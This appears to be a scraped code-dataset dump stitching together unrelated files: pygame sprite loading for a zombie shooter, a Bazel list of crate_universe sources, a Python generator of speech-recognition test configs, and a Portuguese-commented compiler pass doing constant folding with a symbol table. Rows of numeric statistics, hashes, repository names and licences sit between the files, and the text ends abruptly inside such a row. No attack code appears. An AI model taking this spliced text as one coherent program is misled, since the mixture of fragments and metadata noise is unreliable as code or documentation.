elif Player_Type_Int == 1:
Player_Graphic = pygame.image.load("Images/Athlete.png")
Player_Running = pygame.image.load("Images/Athlete_Running.png")
Player_Shooting = pygame.image.load("Images/Athlete_Shooting.png")
Player_Shooting_HG = pygame.image.load("Images/Athlete_Shooting_Handgun.png")
Player_Shooting_HG_Running = pygame.image.load("Images/Athlete_Shooting_Handgun_Running.png")
Player_Shooting_SG = pygame.image.load("Images/Athlete_Shooting_Shotgun.png")
Player_Shooting_SG_Running = pygame.image.load("Images/Athlete_Shooting_Shotgun_Running.png")
Player_Shooting_SR = pygame.image.load("Images/Athlete_Shooting_Sniper.png")
Player_Shooting_SR_Running = pygame.image.load("Images/Athlete_Shooting_Sniper_Running.png")
Player_Shooting_MG = pygame.image.load("Images/Athlete_Shooting_Machine_Gun.png")
Player_Shooting_MG_Running = pygame.image.load("Images/Athlete_Shooting_Machine_Gun_Running.png")
Player_Shooting_SMG = pygame.image.load("Images/Athlete_Shooting_Submachine_Gun.png")
Player_Shooting_SMG_Running = pygame.image.load("Images/Athlete_Shooting_Submachine_Gun_Running.png")
Player_Shooting_AR = pygame.image.load("Images/Athlete_Shooting_Assault_Rifle.png")
Player_Shooting_AR_Running = pygame.image.load("Images/Athlete_Shooting_Assault_Rifle_Running.png")
Player_Walking_List = [Player_Graphic, Player_Running]
Player_Shooting_Melee_List = [Player_Shooting]
Player_Shooting_HG_List = [Player_Shooting_HG, Player_Shooting_HG_Running]
Player_Shooting_SG_List = [Player_Shooting_SG, Player_Shooting_SG_Running]
Player_Shooting_SR_List = [Player_Shooting_SR, Player_Shooting_SR_Running]
Player_Shooting_MG_List = [Player_Shooting_MG, Player_Shooting_MG_Running]
Player_Shooting_SMG_List = [Player_Shooting_SMG, Player_Shooting_SMG_Running]
Player_Shooting_AR_List = [Player_Shooting_AR, Player_Shooting_AR_Running]
elif Player_Type_Int == 2:
Player_Graphic = pygame.image.load("Images/ValleyGirl.png")
Player_Running = pygame.image.load("Images/ValleyGirl_Running.png")
Player_Shooting = pygame.image.load("Images/ValleyGirl_Shooting.png")
Player_Shooting_HG = pygame.image.load("Images/ValleyGirl_Shooting_Handgun.png")
Player_Shooting_HG_Running = pygame.image.load("Images/ValleyGirl_Shooting_Handgun_Running.png")
Player_Shooting_SG = pygame.image.load("Images/ValleyGirl_Shooting_Shotgun.png")
Player_Shooting_SG_Running = pygame.image.load("Images/ValleyGirl_Shooting_Shotgun_Running.png")
Player_Shooting_SR = pygame.image.load("Images/ValleyGirl_Shooting_Sniper.png")
Player_Shooting_SR_Running = pygame.image.load("Images/ValleyGirl_Shooting_Sniper_Running.png")
Player_Shooting_MG = pygame.image.load("Images/ValleyGirl_Shooting_Machine_Gun.png")
Player_Shooting_MG_Running = pygame.image.load("Images/ValleyGirl_Shooting_Machine_Gun_Running.png")
Player_Shooting_SMG = pygame.image.load("Images/ValleyGirl_Shooting_Submachine_Gun.png")
Player_Shooting_SMG_Running = pygame.image.load("Images/ValleyGirl_Shooting_Submachine_Gun_Running.png")
Player_Shooting_AR = pygame.image.load("Images/ValleyGirl_Shooting_Assault_Rifle.png")
Player_Shooting_AR_Running = pygame.image.load("Images/ValleyGirl_Shooting_Assault_Rifle_Running.png")
Player_Walking_List = [Player_Graphic, Player_Running]
Player_Shooting_Melee_List = [Player_Shooting]
Player_Shooting_HG_List = [Player_Shooting_HG, Player_Shooting_HG_Running]
Player_Shooting_SG_List = [Player_Shooting_SG, Player_Shooting_SG_Running]
Player_Shooting_SR_List = [Player_Shooting_SR, Player_Shooting_SR_Running]
Player_Shooting_MG_List = [Player_Shooting_MG, Player_Shooting_MG_Running]
Player_Shooting_SMG_List = [Player_Shooting_SMG, Player_Shooting_SMG_Running]
Player_Shooting_AR_List = [Player_Shooting_AR, Player_Shooting_AR_Running]
elif Player_Type_Int == 3:
Player_Graphic = pygame.image.load("Images/Rapp.png")
Player_Running = pygame.image.load("Images/Rapp_Running.png")
Player_Shooting = pygame.image.load("Images/Rapp_Shooting.png")
Player_Shooting_HG = pygame.image.load("Images/Rapp_Shooting_Handgun.png")
Player_Shooting_HG_Running = pygame.image.load("Images/Rapp_Shooting_Handgun_Running.png")
Player_Shooting_SG = pygame.image.load("Images/Rapp_Shooting_Shotgun.png")
Player_Shooting_SG_Running = pygame.image.load("Images/Rapp_Shooting_Shotgun_Running.png")
Player_Shooting_SR = pygame.image.load("Images/Rapp_Shooting_Sniper.png")
Player_Shooting_SR_Running = pygame.image.load("Images/Rapp_Shooting_Sniper_Running.png")
Player_Shooting_MG = pygame.image.load("Images/Rapp_Shooting_Machine_Gun.png")
Player_Shooting_MG_Running = pygame.image.load("Images/Rapp_Shooting_Machine_Gun_Running.png")
Player_Shooting_SMG = pygame.image.load("Images/Rapp_Shooting_Submachine_Gun.png")
Player_Shooting_SMG_Running = pygame.image.load("Images/Rapp_Shooting_Submachine_Gun_Running.png")
Player_Shooting_AR = pygame.image.load("Images/Rapp_Shooting_Assault_Rifle.png")
Player_Shooting_AR_Running = pygame.image.load("Images/Rapp_Shooting_Assault_Rifle_Running.png")
Player_Walking_List = [Player_Graphic, Player_Running]
Player_Shooting_Melee_List = [Player_Shooting]
Player_Shooting_HG_List = [Player_Shooting_HG, Player_Shooting_HG_Running]
Player_Shooting_SG_List = [Player_Shooting_SG, Player_Shooting_SG_Running]
Player_Shooting_SR_List = [Player_Shooting_SR, Player_Shooting_SR_Running]
Player_Shooting_MG_List = [Player_Shooting_MG, Player_Shooting_MG_Running]
Player_Shooting_SMG_List = [Player_Shooting_SMG, Player_Shooting_SMG_Running]
Player_Shooting_AR_List = [Player_Shooting_AR, Player_Shooting_AR_Running]
Enemy_Graphic = pygame.image.load("Images/Zombie1.png")
Enemy_Running = pygame.image.load("Images/Zombie1_Running.png")
#Enemy_Attacking = pygame.image.load("Images/")
Enemy_Walking_List = [Enemy_Graphic, Enemy_Running]
##Enemy_Attacking_List = [Enemy_Attacking]
Bullet = pygame.image.load("Images/Bullet.png")
Bullet_List = [Bullet]
if Map_Type == 0:
# Background_Image = pygame.image.load("Images/Map_1.png")
Background_Image = pygame.image.load("Images/Outside_Mansion.png")
Background_Image1 = pygame.image.load("Images/Inside_Mansion.png")
Background_List = [Background_Image, Background_Image1]
All_Sprites = [Player_Walking_List, Player_Shooting_Melee_List, Player_Shooting_HG_List, Player_Shooting_SG_List, Player_Shooting_SR_List,
Player_Shooting_MG_List, Player_Shooting_SMG_List, Player_Shooting_AR_List, Enemy_Walking_List]
| 69.850746
| 138
| 0.816239
| 1,272
| 9,360
| 5.522799
| 0.044025
| 0.288968
| 0.158007
| 0.22121
| 0.926406
| 0.908043
| 0.83758
| 0.76911
| 0.645836
| 0.625338
| 0
| 0.003176
| 0.091667
| 9,360
| 133
| 139
| 70.37594
| 0.8231
| 0.090812
| 0
| 0.288288
| 0
| 0
| 0.276784
| 0.267012
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.018018
| 0
| 0.018018
| 0
| 0
| 0
| 0
| null | 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
acdfa614cf7017e1903bd5216b641d281b420129
| 3,319
|
bzl
|
Python
|
crate_universe/private/srcs.bzl
|
ttiurani/rules_rust
|
2fa92e5a139c7cb64d606718273e295ce756f0f3
|
[
"Apache-2.0"
] | 1
|
2017-06-12T02:10:48.000Z
|
2017-06-12T02:10:48.000Z
|
crate_universe/private/srcs.bzl
|
ttiurani/rules_rust
|
2fa92e5a139c7cb64d606718273e295ce756f0f3
|
[
"Apache-2.0"
] | null | null | null |
crate_universe/private/srcs.bzl
|
ttiurani/rules_rust
|
2fa92e5a139c7cb64d606718273e295ce756f0f3
|
[
"Apache-2.0"
] | null | null | null |
"""A generate file containing all source files used to produce `cargo-bazel`"""
# Each source file is tracked as a target so the `cargo_bootstrap_repository`
# rule will know to automatically rebuild if any of the sources changed.
CARGO_BAZEL_SRCS = [
"@rules_rust//crate_universe:src/cli.rs",
"@rules_rust//crate_universe:src/cli/generate.rs",
"@rules_rust//crate_universe:src/cli/query.rs",
"@rules_rust//crate_universe:src/cli/splice.rs",
"@rules_rust//crate_universe:src/cli/vendor.rs",
"@rules_rust//crate_universe:src/config.rs",
"@rules_rust//crate_universe:src/context.rs",
"@rules_rust//crate_universe:src/context/crate_context.rs",
"@rules_rust//crate_universe:src/context/platforms.rs",
"@rules_rust//crate_universe:src/lib.rs",
"@rules_rust//crate_universe:src/lockfile.rs",
"@rules_rust//crate_universe:src/main.rs",
"@rules_rust//crate_universe:src/metadata.rs",
"@rules_rust//crate_universe:src/metadata/dependency.rs",
"@rules_rust//crate_universe:src/metadata/metadata_annotation.rs",
"@rules_rust//crate_universe:src/rendering.rs",
"@rules_rust//crate_universe:src/rendering/template_engine.rs",
"@rules_rust//crate_universe:src/rendering/templates/crate_build_file.j2",
"@rules_rust//crate_universe:src/rendering/templates/module_build_file.j2",
"@rules_rust//crate_universe:src/rendering/templates/module_bzl.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/crate/aliases.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/crate/binary.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/crate/build_script.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/crate/common_attrs.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/crate/deps.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/crate/library.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/crate/proc_macro.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/header.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/module/aliases_map.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/module/deps_map.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/module/repo_git.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/module/repo_http.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/starlark/glob.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/starlark/selectable_dict.j2",
"@rules_rust//crate_universe:src/rendering/templates/partials/starlark/selectable_list.j2",
"@rules_rust//crate_universe:src/rendering/templates/vendor_module.j2",
"@rules_rust//crate_universe:src/splicing.rs",
"@rules_rust//crate_universe:src/splicing/cargo_config.rs",
"@rules_rust//crate_universe:src/splicing/splicer.rs",
"@rules_rust//crate_universe:src/test.rs",
"@rules_rust//crate_universe:src/utils.rs",
"@rules_rust//crate_universe:src/utils/starlark.rs",
"@rules_rust//crate_universe:src/utils/starlark/glob.rs",
"@rules_rust//crate_universe:src/utils/starlark/label.rs",
"@rules_rust//crate_universe:src/utils/starlark/select.rs",
]
| 63.826923
| 95
| 0.767099
| 459
| 3,319
| 5.300654
| 0.185185
| 0.166461
| 0.25894
| 0.406905
| 0.82203
| 0.82203
| 0.740649
| 0.542129
| 0.424168
| 0.402384
| 0
| 0.006223
| 0.080145
| 3,319
| 51
| 96
| 65.078431
| 0.790698
| 0.066586
| 0
| 0
| 1
| 0
| 0.874798
| 0.874798
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
acfc0300375be32892ba16e2f5284217d47e24a1
| 8,998
|
py
|
Python
|
04_recognize/configs/biglm/gen_configs.py
|
phsmit/iwclul2016-scripts
|
20ead4c7492241ec19dec88fe86065a273c66af6
|
[
"BSD-3-Clause"
] | null | null | null |
04_recognize/configs/biglm/gen_configs.py
|
phsmit/iwclul2016-scripts
|
20ead4c7492241ec19dec88fe86065a273c66af6
|
[
"BSD-3-Clause"
] | null | null | null |
04_recognize/configs/biglm/gen_configs.py
|
phsmit/iwclul2016-scripts
|
20ead4c7492241ec19dec88fe86065a273c66af6
|
[
"BSD-3-Clause"
] | null | null | null |
#!/usr/bin/env python3
import os
import glob
for lang in ("sme", "est", "fin"):
for gender in ("M", "F"):
for order in [4,10,20]:
with open("{}{}_b_v_{}g_m.sh".format(lang,gender,order), 'w') as f:
print("export TEST_NAME='{}{}_b_v_{}g_m'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}{}_b_v_{}g_m".format(lang,gender,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
for lang in ("sme", "est", "fin"):
for gender in ("M", "F"):
for order in [4,10,20]:
with open("{}{}_b60k_v_{}g_m.sh".format(lang, gender ,order), 'w') as f:
print("export TEST_NAME='{}{}_b60k_v_{}g_m'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}_b60k_v_{}g_m".format(lang,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
for lang in ("sme", "est", "fin"):
g = ("M", "F")
if lang == "est":
g = ("M", "F", "M2")
for gender in g:
for order in [4,10,20]:
with open("{}{}_b60kv_v_{}g_m.sh".format(lang, gender ,order), 'w') as f:
print("export TEST_NAME='{}{}_b60kv_v_{}g_m'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}_b60kv_v_{}g_m".format(lang,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
for lang in ("sme", "est", "fin"):
g = ("M", "F")
if lang == "est":
g = ("M", "F", "M2")
for gender in g:
for order in [4,10,20]:
with open("{}{}_s1b60k_v_{}g_m.sh".format(lang, gender ,order), 'w') as f:
print("export TEST_NAME='{}{}_s1b60k_v_{}g_m'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}_150m/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}_b60k_v_{}g_m".format(lang,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
for lang in ("sme", "est", "fin"):
for gender in ("M", "F"):
for order in [4,10,20]:
with open("{}{}_s1b60kv_v_{}g_m.sh".format(lang, gender ,order), 'w') as f:
print("export TEST_NAME='{}{}_s1b60kv_v_{}g_m'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}_150m/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}_b60kv_v_{}g_m".format(lang,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
lang = "sme"
for order in range(2, 21):
for gender in ("M", "F"):
with open("{}{}_s1b60kv_v_{}g_m.sh".format(lang, gender ,order), 'w') as f:
print("export TEST_NAME='{}{}_s1b60kv_v_{}g_m'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}_b60kv_v_{}g_m".format(lang,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
with open("{}{}_s1b60kv_s_{}g_m.sh".format(lang, gender ,order), 'w') as f:
print("export TEST_NAME='{}{}_s1b60kv_s_{}g_m'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}_b60kv_s_{}g_m".format(lang,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
with open("{}{}_s1b60kv_s_{}g_w.sh".format(lang, gender ,order), 'w') as f:
print("export TEST_NAME='{}{}_s1b60kv_s_{}g_w'".format(lang,gender,order), file=f)
print("export TEST_DIR=$GROUP_DIR/p/sami/recog_tests/biglm/", file=f)
print(file=f)
print("export TEST_LM_SCALES=30", file=f)
print(file=f)
possible_ams = list(glob.glob(os.environ["GROUP_DIR"]+"/p/sami/models/{}_{}/hmm/*_22.ph".format(lang, gender)))
am = possible_ams[0][:-3]
print("export TEST_AM={}".format(am), file=f)
print("export TEST_LM=$GROUP_DIR/p/sami/lmmodels/biglm/{}_b60kv_s_{}g_w".format(lang,order), file=f)
print("export TEST_TRN=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.trn".format(lang, gender), file=f)
print("export TEST_WAVLIST=$GROUP_DIR/p/sami/audio_data/{}_{}/devel200.scp".format(lang, gender), file=f)
print("export ONE_BYTE_ENCODING=ISO-8859-10", file=f)
| 50.836158
| 132
| 0.582352
| 1,319
| 8,998
| 3.752843
| 0.059136
| 0.080808
| 0.129293
| 0.155152
| 0.983434
| 0.980404
| 0.978586
| 0.978586
| 0.978586
| 0.978586
| 0
| 0.033627
| 0.22994
| 8,998
| 176
| 133
| 51.125
| 0.680762
| 0.002334
| 0
| 0.853846
| 0
| 0
| 0.386809
| 0.291555
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.015385
| 0
| 0.015385
| 0.615385
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 8
|
c5bab7cf3b96b87414f639b4805c97d27251082a
| 14,306
|
py
|
Python
|
src/semantic_analysis.py
|
lffloyd/pyva
|
a8975046c248347633465c83944eec4c1e37f4d8
|
[
"MIT"
] | null | null | null |
src/semantic_analysis.py
|
lffloyd/pyva
|
a8975046c248347633465c83944eec4c1e37f4d8
|
[
"MIT"
] | 4
|
2019-12-18T00:53:02.000Z
|
2019-12-18T00:53:03.000Z
|
src/semantic_analysis.py
|
lffloyd/pyva
|
a8975046c248347633465c83944eec4c1e37f4d8
|
[
"MIT"
] | null | null | null |
from .symtable.symbol_table import SymbolTable, Scope
from .abstract_syntax_tree.ast_node import ASTNode
from enum import Enum
class ReturnType(Enum):
no = 0
total = 1
partialSum = 2
partialMult = 3
symbolT = SymbolTable()
def analiseSemantica(info, sum = 0, mult = 1):
global symbolT
if(info != None and type(info) is ASTNode):
if (info.type == "mexp" ):
if(info.val):
return ReturnType.total
elif len(info.children) > 1:
##Se o ultimo termo for uma variavel a analise semantica vai transforma-lo em uma constante
#não chamar a analise do termo no inicio pode resoltar em um calculo incompleto com esse termo sobrando
#no final (ex: 3*x*2*y -> 6*x*y com y.val =2)
analiseSemantica(info.children[2])
#Se um dos termos é constante a função propaga a constante para dentro do outro termo
# que apos ser analisado retorna se essa constante foi usada e pode ser descartada
if(info.children[1] == "*" and info.children[2].val != None):
mult = mult * info.children[2].val
resp = analiseSemantica(info.children[0], mult = mult)
if resp == ReturnType.partialMult:
#Como a constante ja foi propagada dentro do outro termo ela não precisa mais estar na arvore
info.set(
type = info.children[0].type,
children = info.children[0].children,
val = info.children[0].val,
cgen = info.children[0].cgen)
#Caso na analise do termo não constante tenha se verificado uma variavel
# com valor na tabela e o termo tenha passado a ser constante a operacao é realizada
elif info.children[0].val != None:
mult = mult * info.children[0].val
setValToAll(info.children[2], mult)
info.set(
type = info.children[2].type,
children = info.children[2].children,
val = info.children[2].val,
cgen = info.children[2].cgen)
else:
#Caso seja a ultima constante da subarvore info que pode ser utilizada na operacao ela recebe todo o valor
setValToAll(info.children[2], mult)
return ReturnType.partialMult
elif(info.children[1] == "*" and info.children[0].val != None):
mult = mult * info.children[0].val
resp = analiseSemantica(info.children[2], mult = mult)
if resp == ReturnType.partialMult:
#Como a constante ja foi propagada dentro do outro termo ela não precisa mais estar na arvore
info.set(
type = info.children[2].type,
children = info.children[2].children,
val = info.children[2].val,
cgen = info.children[2].cgen)
#Caso na analise do termo não constante tenha se verificado uma variavel
# com valor na tabela e o termo tenha passado a ser constante a operacao é realizada
elif info.children[2].val != None:
mult = mult * info.children[2].val
setValToAll(info.children[0], mult)
info.set(
type = info.children[0].type,
children = info.children[0].children,
val = info.children[0].val,
cgen = info.children[0].cgen)
else:
#Caso seja a ultima constante da subarvore info que pode ser utilizada na operacao ela recebe todo o valor
setValToAll(info.children[0], mult)
return ReturnType.partialMult
else:
#Necessario pois caso não exista constante nos termos eles ainda precisam ser analisados semanticamente
resp = analiseSemantica(info.children[0], mult = mult)
if resp == ReturnType.partialMult:
analiseSemantica(info.children[2])
#Esse retorno é importante para quando existem constantes intercaladas (ex.: 3*x*2*y*4)
#pois nesse caso sempre existe uma operacao sem constantes no meio
return ReturnType.partialMult
else:
return analiseSemantica(info.children[2], mult = mult)
elif (info.type == "aexp"):
if(info.val):
return ReturnType.total
elif len(info.children) > 1:
##Se o ultimo termo for uma variavel a analise semantica vai transforma-lo em uma constante
#não chamar a analise do termo no inicio pode resoltar em um calculo incompleto com esse termo sobrando
#no final (ex: 3+ x + 3 + y -> 6 + x + y com y.val =2)
analiseSemantica(info.children[2])
#Se um dos termos é constante a função propaga a constante para dentro do outro termo
# que apos ser analisado retorna se essa constante foi usada e pode ser descartada
if(info.children[1] and info.children[2].val != None):
if(info.children[1] == "+" ):
sum = sum + info.children[2].val
if(info.children[1] == "-" ):
sum = sum - info.children[2].val
resp = analiseSemantica(info.children[0], sum)
if resp == ReturnType.partialSum:
#Como a constante ja foi propagada dentro do outro termo ela não precisa mais estar na arvore
info.set(
type = info.children[0].type,
children = info.children[0].children,
val = info.children[0].val,
cgen = info.children[0].cgen)
#Caso na analise do termo não constante tenha se verificado uma variavel
# com valor na tabela e o termo tenha passado a ser constante a operacao é realizada
elif info.children[0].val != None:
#Se for uma subtração o valor ja ficou negativo, subtrair transforaria a operacao em soma
sum = sum + info.children[0].val
setValToAll(info.children[2], sum)
info.set(
type = info.children[2].type,
children = info.children[2].children,
val = info.children[2].val,
cgen = info.children[2].cgen)
else:
#Caso seja a ultima constante da subarvore info que pode ser utilizada na operacao ela recebe todo o valor
setValToAll(info.children[2], sum)
return ReturnType.partialSum
elif(info.children[1] and info.children[0].val != None):
if(info.children[1] == "+" ):
sum = sum + info.children[0].val
if(info.children[1] == "-" ):
sum = info.children[0].val - sum
resp = analiseSemantica(info.children[2], sum)
if resp == ReturnType.partialSum:
#Como a constante ja foi propagada dentro do outro termo ela não precisa mais estar na arvore
info.set(
type = info.children[2].type,
children = info.children[2].children,
val = info.children[2].val,
cgen = info.children[2].cgen)
#Caso na analise do termo não constante tenha se verificado uma variavel
# com valor na tabela e o termo tenha passado a ser constante a operacao é realizada
elif info.children[2].val != None:
#Se for uma subtração o valor ja ficou negativo, subtrair transforaria a operacao em soma
sum = sum + info.children[2].val
setValToAll(info.children[0], sum)
info.set(
type = info.children[0].type,
children = info.children[0].children,
val = info.children[0].val,
cgen = info.children[0].cgen)
else:
#Caso seja a ultima constante da subarvore info que pode ser utilizada na operacao ela recebe todo o valor
setValToAll(info.children[0], sum)
return ReturnType.partialSum
else:
#Necessario pois caso não exista constante nos termos eles ainda precisam ser analisados semanticamente
resp = analiseSemantica(info.children[0], sum = sum)
if resp == ReturnType.partialSum:
analiseSemantica(info.children[2])
#Esse retorno é importante para quando existem constantes intercaladas (ex.: 3+x+2+y+4)
#pois nesse caso sempre existe uma operacao sem constantes no meio
return ReturnType.partialSum
else:
return analiseSemantica(info.children[2], sum = sum)
if info.children != None:
for item in info.children:
if type(item) is ASTNode:
if (item.type == "class"):
#Limpando a tabela de simbolos
symbolT = SymbolTable()
analiseSemantica(item)
elif (item.type == "metodo"):
symbolT.insert_scope(Scope(table = symbolT.scopes[symbolT.current_scope_level].table))
analiseSemantica(item)
symbolT.remove()
elif (item.type == "cmd2" or item.type == "cmd1") and item.toTable != None:
analiseSemantica(item)
if not (symbolT.is_in_global(item.children[item.toTable['pos']])):
print('Erro: Variável {} não declarada'.format(
item.children[item.toTable['pos']]))
elif item.children[2].val != None and item.children[1] != "[":
novo = dict()
novo.setdefault('val', item.children[2].val)
symbolT.insert_entry(
item.children[item.toTable['pos']], novo)
#Propagando valor para nos superiores na arvore caso so tenha um filho e a analise dele tenha atribuido valor
if len(info.children) == 1 and item.val:
info.val = item.val
else:
if (item.type == "var" or item.type == "conj_params"):
if (len(item.children[0].children) > 1):
novo = dict()
novo.setdefault('type', 'int[]')
symbolT.insert_entry(
item.children[1], novo)
else:
novo = dict()
novo.setdefault('type', item.children[0].children[0])
symbolT.insert_entry(item.children[1], novo)
elif (item.type == "mais_param" and len(item.children) > 1):
if (len(item.children[2].children) > 1):
novo = dict()
novo.setdefault('type', 'int[]')
symbolT.insert_entry(
item.children[3], novo)
else:
novo = dict()
novo.setdefault('type', item.children[2].children[0])
symbolT.insert_entry(item.children[3], novo)
elif item.type == "pexp" and item.toTable != None:
if not (symbolT.is_in_global(item.children[item.toTable['pos']])):
raise Exception('Erro: Variável {0} não declarada'.format(
item.children[item.toTable['pos']]))
atribbutes = symbolT.lookup(item.children[item.toTable['pos']])
if atribbutes:
item.val = atribbutes.get('val')
analiseSemantica(item)
#Propagando valor para nos superiores na arvore caso so tenha um filho e a analise dele tenha atribuido valor
if len(info.children) == 1 and item.val:
info.val = item.val
#Necessario a criação de um novo escopo pois dentro de um if, else, while etc podem ser atribuidos valores
#para variaveis que não podem ser utilizados fora. Ao sair do escopo ele é deletado da pilha
elif (item == "{"):
symbolT.insert_scope(Scope(table = symbolT.scopes[symbolT.current_scope_level].table))
elif (item == "}"):
symbolT.remove()
def setValToAll(info, val):
info.set(val = val)
index = 0
for item in info.children:
if type(item) is ASTNode:
setValToAll(item, val)
else:
info.children[index] = val
index +=1
| 60.618644
| 133
| 0.488676
| 1,479
| 14,306
| 4.712644
| 0.140636
